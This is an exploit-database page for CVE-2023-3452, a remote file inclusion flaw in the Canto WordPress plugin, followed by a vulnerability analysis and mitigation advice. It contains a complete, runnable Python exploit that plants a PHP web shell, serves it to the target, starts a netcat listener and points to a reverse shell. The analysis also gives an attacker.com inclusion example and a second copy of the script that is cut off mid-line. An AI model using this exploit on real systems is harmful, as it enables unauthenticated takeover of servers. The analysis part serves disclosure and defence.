Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE)

Exploit Author: Leopoldo Angulo (leoanggal1) Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-02-27
# Exploit Title: Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE)
# Date: 04/11/2023
# Exploit Author: Leopoldo Angulo (leoanggal1)
# Vendor Homepage: https://wordpress.org/plugins/canto/
# Software Link: https://downloads.wordpress.org/plugin/canto.3.0.4.zip
# Version: All versions of Canto Plugin prior to 3.0.5
# Tested on: Ubuntu 22.04, Wordpress 6.3.2, Canto Plugin 3.0.4
# CVE : CVE-2023-3452

#PoC Notes:
#The Canto plugin for WordPress is vulnerable to Remote File Inclusion in versions up to, and including, 3.0.4 via the 'wp_abspath' parameter. This allows unauthenticated attackers to include and execute arbitrary remote code on the server, provided that allow_url_include is enabled. (Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
#This code exploits the improper handling of the wp_abspath variable in the following line of the "download.php" code:
#... require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php'); ...
#This is just an example but there is this same misconfiguration in other lines of the vulnerable plugin files.
# More information in Leoanggal1's Github

#!/usr/bin/python3
import argparse
import http.server
import socketserver
import threading
import requests
import os
import subprocess

# Define the default web shell
default_web_shell = "<?php system($_GET['cmd']); ?>"

def create_admin_file(local_dir, local_shell=None):
    if not os.path.exists(local_dir):
        os.makedirs(local_dir)

    # If a local shell is provided, use it; otherwise, use the default web shell
    if local_shell:
        with open(f"{local_dir}/admin.php", "wb") as admin_file:
            with open(local_shell, "rb") as original_file:
                admin_file.write(original_file.read())
    else:
        with open(f"{local_dir}/admin.php", "w") as admin_file:
            admin_file.write(default_web_shell)

def start_local_server(local_port):
    Handler = http.server.SimpleHTTPRequestHandler
    httpd = socketserver.TCPServer(("0.0.0.0", local_port), Handler)

    print(f"Local web server on port {local_port}...")
    httpd.serve_forever()

    return httpd

def exploit_rfi(url, local_shell, local_host, local_port, command, nc_port):
    local_dir = "wp-admin"
    create_admin_file(local_dir, local_shell)

    target_url = f"{url}/wp-content/plugins/canto/includes/lib/download.php"
    local_server = f"http://{local_host}:{local_port}"
    command = f"cmd={command}"

    if local_shell:
        # If a local shell is provided, start netcat on the specified port
        subprocess.Popen(["nc", "-lvp", str(nc_port)])

    server_thread = threading.Thread(target=start_local_server, args=(local_port,))
    server_thread.daemon = True
    server_thread.start()

    exploit_url = f"{target_url}?wp_abspath={local_server}&{command}"
    print(f"Exploitation URL: {exploit_url}")

    response = requests.get(exploit_url)
    print("Server response:")
    print(response.text)

    # Shutdown the local web server
    print("Shutting down local web server...")
    server_thread.join()

if __name__ == "__main__":
    examples = '''
    Examples:
    - Check the vulnerability
    python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33

    - Execute a command
    python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

    - Upload and run a reverse shell file. You can download it from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php or generate it with msfvenom.
    python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php
    '''
    parser = argparse.ArgumentParser(description="Script to exploit the Remote File Inclusion vulnerability in the Canto plugin for WordPress - CVE-2023-3452", epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("-u", "--url", required=True, default=None,  help="Vulnerable URL")
    parser.add_argument("-s", "--shell", help="Local file for web shell")
    parser.add_argument("-LHOST", "--local_host", required=True, help="Local web server IP")
    parser.add_argument("-LPORT", "--local_port", help="Local web server port")
    parser.add_argument("-c", "--command", default="whoami", help="Command to execute on the target")
    parser.add_argument("-NC_PORT", "--nc_port", type=int, help="Listener port for netcat")

    try:
        args = parser.parse_args()

        if args.local_port is None:
            args.local_port = 8080  # Valor predeterminado si LPORT no se proporciona
        exploit_rfi(args.url, args.shell, args.local_host, int(args.local_port), args.command, args.nc_port)

    except SystemExit:
        parser.print_help()


WordPress Plugin Canto < 3.0.5: Remote File Inclusion (RFI) and Remote Code Execution (RCE) Vulnerability

Security researchers have identified a critical vulnerability in the Canto WordPress plugin, affecting all versions prior to 3.0.5. This flaw, designated as CVE-2023-3452, enables unauthenticated attackers to perform Remote File Inclusion (RFI) and Remote Code Execution (RCE) on vulnerable systems. The issue stems from improper input validation in the download.php file, where user-supplied data is directly used in a require_once statement without proper sanitization.

Exploitation Mechanism: Improper Handling of wp_abspath

The vulnerability arises from a single line of code in the download.php file:

require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');

This line dynamically includes a file based on the value of the wp_abspath parameter passed via HTTP request. Since the input is not validated or sanitized, an attacker can supply a malicious URL pointing to a remote server hosting a malicious PHP file (e.g., a web shell).

For example, if an attacker sends a request with:

wp_abspath=http://attacker.com/shell.php

the server will attempt to load http://attacker.com/shell.php and execute its contents, assuming allow_url_include is enabled in the PHP configuration.

Prerequisites for Exploitation

  • allow_url_include must be enabled in php.ini (default is usually disabled for security reasons).
  • The target WordPress installation must be running a vulnerable version of the Canto plugin (prior to 3.0.5).
  • Network access to the target server and ability to host a malicious payload.

While allow_url_include is disabled by default in most production environments, it remains a common misconfiguration in shared hosting or poorly secured development setups, making this vulnerability exploitable in real-world scenarios.

Proof of Concept (PoC) and Attack Workflow

A proof-of-concept exploit developed by Leopoldo Angulo (leoanggal1) demonstrates how this vulnerability can be leveraged. The PoC involves setting up a local web server to host a malicious PHP shell, then triggering the RFI via a crafted URL.

#!/usr/bin/python3
import argparse
import http.server
import socketserver
import threading
import requests
import os
import subprocess

# Define the default web shell
default_web_shell = ""

def create_admin_file(local_dir, local_shell=None):
    if not os.path.exists(local_dir):
        os.makedirs(local_dir)

    if local_shell:
        with open(f"{local_dir}/admin.php", "wb") as admin_file:
            with open(local_shell, "rb") as original_file:
                admin_file.write(original_file.read())
    else:
        with open(f"{local_dir}/admin.php", "w") as admin_file:
            admin_file.write(default_web_shell)

def start_local_server(local_port):
    Handler = http.server.SimpleHTTPRequestHandler
    httpd = socketserver.TCPServer(("0.0.0.0", local_port), Handler)

    print(f"Local web server on port {local_port}...")
    httpd.serve_forever()

    return httpd

def exploit_rfi(url, local_shell, local_host, local_port, command, nc_port):
    local_dir = "wp-admin"
    create_admin_file(local_dir, local_shell)

    target_url = f"{url}/wp-content/plugins/canto/includes/lib/download.php"
    local_server = f"http://{local_host}:{local_port}"
    command = f"cmd={command}"

    if local_shell:
        subprocess.Popen(["nc", "-lvp", str(nc_port)])

    server_thread = threading.Thread(target=start_local_server, args=(local_port,))
    server_thread.daemon = True
    server_thread.start()

    exploit_url = f"{target_url}?wp_abspath={local_server}&{command}"
    print(f"Exploitation URL: {exploit_url}")

    response = requests.get(exploit_url)
    print("Server response:")
    print(response.text)

    print("Shutting down local web server...")
    server_thread.

Explanation: This script automates the exploitation process:

  • It creates a local directory wp-admin and writes a PHP web shell to admin.php.
  • It starts a local HTTP server on a specified port (e.g., 8080) to serve the malicious file.
  • It spawns a netcat listener on a designated port to receive reverse shell connections.
  • It constructs a malicious URL that includes the attacker’s server path and a command parameter.
  • Upon execution, the target server attempts to load the remote file, executing the web shell and allowing the attacker to run arbitrary commands.

Real-World Impact and Risk Assessment

Due to the unauthenticated nature of the exploit, this vulnerability poses a severe threat to any WordPress site using the Canto plugin in versions 3.0.4 or earlier. Attackers can:

  • Gain full control over the server via remote code execution.
  • Deploy malware, steal sensitive data, or pivot to other systems.
  • Use the compromised server as a launchpad for further attacks.

Even if allow_url_include is disabled, the presence of such a flaw highlights poor coding practices in the plugin. It underscores the importance of secure coding standards and input validation in third-party plugins.

Recommended Mitigations and Best Practices

RecommendationDescription
Immediate UpdateUpgrade to Canto version 3.0.5 or later. The vendor has patched the vulnerability.
Disable allow_url_includeEnsure this directive is off in php.ini. This prevents RFI attacks regardless of plugin flaws.
Regular Plugin AuditsUse tools like WPScan or Wordfence to scan for known vulnerabilities in plugins.
Input SanitizationDevelopers should never use user input directly in file inclusion functions. Use whitelisting, path normalization, or absolute file paths.

Expert Insight: Why This Flaw Matters

While RFI vulnerabilities are not new, their presence in widely used WordPress plugins like Canto demonstrates how even seemingly minor coding mistakes can lead to catastrophic outcomes. This exploit is particularly dangerous because:

  • It requires no authentication.
  • It exploits a core PHP feature (require_once) in an unsafe manner.
  • It is easily automatable via scripts like the PoC above.

Security experts emphasize that input validation is not optional—it is a foundational principle of secure software development. Plugins should never trust user input, especially when it affects file inclusion, execution, or configuration.

Conclusion

The Canto < 3.0.5 vulnerability serves as a stark reminder of the risks associated with third-party plugins. Even minor flaws in code can be exploited by attackers to gain full system access. Site administrators must:

  • Keep all plugins updated.
  • Disable dangerous PHP settings.
  • Monitor for known vulnerabilities.

By adopting proactive security measures, organizations can significantly reduce the risk of such exploits and maintain a resilient web environment.